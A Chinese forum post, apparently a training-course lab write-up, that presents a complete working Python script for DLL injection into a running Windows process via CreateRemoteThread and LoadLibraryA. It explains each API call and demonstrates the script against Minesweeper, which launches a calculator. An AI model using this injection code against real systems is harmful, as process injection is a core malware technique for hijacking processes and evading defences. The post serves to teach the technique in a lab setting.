|
楼主 |
发表于 2021-11-9 21:26:49
|
显示全部楼层
## 合天PythonHacking之DLL注入复现
python脚本方法(其他方法之前复现过了)
```python
#coding: utf8
import sys
from ctypes import *
PROCESS_ALL_ACCESS=0x001F0FFF
MEMORY_ALLC=(0x1000|0x2000)
PAGE_READWRITE = 0x04
#1. 获取注入目标进程句柄
kernel32 =windll.kernel32
AimPid =sys.argv[1]
dll_path= sys.argv[2]
dll_path_len=len(dll_path)
handle_aim=kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,int(AimPid))
#2. 在目标进程中分配内存,分配的内存能够下存放dll完全路径字符串
dll_address=kernel32.VirtualAllocEx(handle_aim,0,dll_path_len,MEMORY_ALLC,PAGE_READWRITE)
#3. 将dll路径字符串写入刚刚分配的目标程序的内存之中
null_zero=c_int(0)
kernel32.WriteProcessMemory(handle_aim,dll_address,dll_path,dll_path_len,byref(null_zero))
#4. 找到目标程序中LoadLibaray的入口地址
handle_kernel32=kernel32.GetModuleHandleA("kernel32.dll")
Load_address=kernel32.GetProcAddress(handle_kernel32,"LoadLibraryA")
#5. 创建远程线程,实现最终注入
thread_id=c_ulong(0)
kernel32.CreateRemoteThread(handle_aim,None,0,Load_address,dll_address,0,byref(thread_id))
```
## 代码编写原理
1、新建文件,命名为injector.py,右键用IDLE打开,这时候就可以编写py文件了。
![img]()
2、编写一些自己看得懂的注释,提示编码流程。
![img]()
因为要使用windows api,这里使用ctypes这个模块。
3、获取注入目标进程句柄
获取进程句柄使用的api是OpenProcess.该函数一共有三个参数
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);
第一个是权限,我们需要PROCESS_ALL_ACCESS权限,这个宏定义的值其实就是0x001F0FFF。
第二个是是否继承句柄,我们填False。
第三个参数是PID,目标进程的进程标识符。
![img]()
4、接下来往目标进程中分配内存,大小为dll路径的长度。
使用的函数是VirtualAllocEx,该函数返回的是分配的起始地址。一共有5个参数。
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
第一个是目标句柄,就是我们刚刚捕获的handle_aim.
第二个是内存分配地址,微软官方声明,0代表由函数去自动决定位置。我们填0.
第三个是大小。就是我们的dll_path的字符串长度。
第四个是分配方式,我们需要分配和提交修改到内存中。微软官方声明:
“To reserve and commit pages in one step, call **VirtualAllocEx** with MEM_COMMIT | MEM_RESERVE.”,将两者的宏定义还原成真实数值,就应该是(0x1000|0x2000)
最后一个参数是内存保护方式。如果之前一旦提交(commit)了,使用任意一种方式都可以。好吧,我们还是严格按要求来写。存放路径,那么一定要可写,当然也可读。所以内存保护属性是“可读可写”。
**PAGE_READWRITE****这个宏定义就是“可读可写”,十六进制实际的值为**0x04。
因此,分配内存时代码完成后应该是这样的。
![img]()
5、往内存中写入字符串。
用到的函数是WriteProcessMemory,一共有5个参数。
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
第一个参数代表句柄,不必多言,为我们的handle_aim.
第二个参数为写入的起始地址,为刚刚申请下来的dll_address.
第三个参数为写入内容,应该填dll_path.
第四个参数为写入大小,即dll_path_len.
第五个参数为输出参数,该指针可选,不需要可填NULL。使用byref(0)转化为null指针。
因此,这一步的代码应该如下。
![img]()
6、找到loadlibraryA的地址
先获得kernel32dll的句柄,然后在kernel32中查找它的函数loadlibraryA的地址。
(因为两个程序的LoadlibraryA入口地址是相同的,kernel32*.*dll又是win系统常用的dll文件,各个windows版本可以使用各个的文件)
![img]()
7、创建远程线程,触发payload。
这是注入的关键一步,使用的函数是CreateRemoteThread,该函数参数有7个。
HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
第一个参数,远程句柄,还是handle_aim.
第二个参数,线程属性,没有特别说明,可填NULL,加载默认属性。Python中用None表示。
第三个参数,栈大小,我们用不到,填写0表示加载默认大小
第四个参数,线程起始时执行的函数地址,即上一步获得的Load_address.
第五个参数,线程起始执行函数的参数,我们要执行的是loadlibraryA(“injected_dll_path”)
所以,这个参数为dll_address
第六个参数,表示线程创建后的操作。我们要让该线程一旦创建便立即执行,需要填0.
最后一个参数,表示接收创建的线程ID。是个double word类型,在ctypes中用c_ulong即可。
![img]()
至此,编码完毕,最终的代码应该是:
![img]()
------
代码利用:
1.打开扫雷,用ProcessExplorer查看pid。
![image-20211109170122124](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211109170122124.png)
2776
2.脚本利用
![image-20211109170733252](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211109170733252.png)
ok 成功弹出计算器
![image-20211109170745469](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211109170745469.png)
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|